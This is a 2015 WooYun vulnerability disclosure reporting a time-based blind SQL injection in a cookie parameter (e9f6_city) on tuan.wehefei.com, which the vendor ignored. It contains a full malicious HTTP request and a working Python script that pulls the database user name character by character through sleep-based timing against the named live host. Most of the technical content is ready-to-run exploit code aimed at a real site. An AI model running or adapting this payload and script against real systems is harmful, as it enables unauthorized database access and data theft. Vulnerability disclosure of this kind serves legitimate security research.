当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0155131

漏洞标题:安徽阳光商务某站Cookie存在SQL注入漏洞(附验证脚本)

相关厂商:wehefei.com

漏洞作者: 深度安全实验室

提交时间:2015-11-23 10:22

修复时间:2015-11-28 10:24

公开时间:2015-11-28 10:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-23: 细节已通知厂商并且等待厂商处理中
2015-11-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

GET /vote/add.php HTTP/1.1
Cookie: PHPSESSID=885fbeca918fe2aa7562cf4e842f9e69; e9f6_city='XOR(if(now()=sysdate(),sleep(if(length(user())=22,3,0)),0))OR'; referer=http%3A%2F%2Ftuan.wehefei.com%2F
X-Requested-With: XMLHttpRequest
Referer: http://tuan.wehefei.com
Host: tuan.wehefei.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

Cookie中的e9f6_city参数存在注入
user的长度为22:

11.png

22.jpg

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.', '-', '\\', ' ']
print 'Try to retrive user:'
user = ''
for i in range(1,24):
for payload in payloads:

try:

conn = httplib.HTTPConnection('tuan.wehefei.com', timeout=3)

headers['Cookie']="PHPSESSID=885fbeca918fe2aa7562cf4e842f9e69; e9f6_city='XOR(if(now()=sysdate(),sleep(if(ascii(mid(user(),%s,1))=%s,3,0)),0))OR';" % (i, ord(payload))
conn.request(method='GET', url= '/vote/add.php' ,
headers = headers)
html_doc = conn.getresponse().read()
conn.close()
print '.',
except Exception, e:
user += payload
print '\nIn progress]', user
break

print '\n[Done] User is:', user

漏洞证明:

修复方案:

版权声明:转载请注明来源 深度安全实验室@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-11-28 10:24

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无